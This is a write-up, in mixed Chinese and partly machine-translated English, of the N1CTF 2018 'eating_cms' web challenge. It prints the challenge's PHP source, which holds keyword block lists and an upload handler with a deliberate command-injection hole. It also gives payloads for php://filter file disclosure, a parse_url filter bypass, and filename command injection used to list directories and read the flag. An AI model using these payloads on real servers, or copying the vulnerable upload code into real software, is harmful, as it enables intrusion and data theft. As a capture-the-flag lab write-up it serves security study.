[N1CTF 2018] eating_cms

[N1CTF 2018]eating_cms

You cannot log in directly,f12也没发现什么.dirsearch扫描一下发现了register.php

进入register.php查看

发现url发生了变化：

It looks like a fake agreement,Try reading the source code,payload：/user.php?=php://filter/convert.base64-encode/resource=user,得到base64加密字符串,Decrypt the source code

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

It doesn't seem to be of any use,just found outfunction.php,Continue to look at it with pseudo-protocols,payload：/user.php?page=php://filter/convert.base64-encode/resource=function

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`[email protected]=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

发现了ffffllllaaaaggg,But when trying to read with pseudo protocolffffllllaaaaggg的时候出现了问题,payload：/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

网页url变成了hacker.php,The system detected us

Return to the code section,The audit found againparse_url,parse_url解析漏洞,绕过：通过在user.php前面再添加一个/,A parsing error occurs in this case,返回false,Then you can read the file,重新构造payload：//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

发现了m4aaannngggeee,Continue to view using pseudo-protocolm4aaannngggeee,payload：/user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

?>

发现了templates/upload.html,进入该页面（payload：/templates/upload.html）

建立一个空的1.phpUpload found showing error,但是显示了upllloadddd.php

Check it out with a pseudo-protocolupllloadddd.php,payload：/user.php?page=php://filter/convert.base64-encode/resource=upllloadddd

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

发现$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");,可以在filenameexecute command injection,But we need to find the real upload page,And the real upload page is given in the frontm4aaannngggeee中,payload：/user.php?page=m4aaannngggeee

然后抓包,查看有什么,payload：;ls;#

使用cd ..（不能使用/,/被过滤了）切换到根目录下,payload：;cd ..;ls;#

发现了flag_233333,查看一下,payload：;cd ..;cat flag_233333;#

至此结束,撒花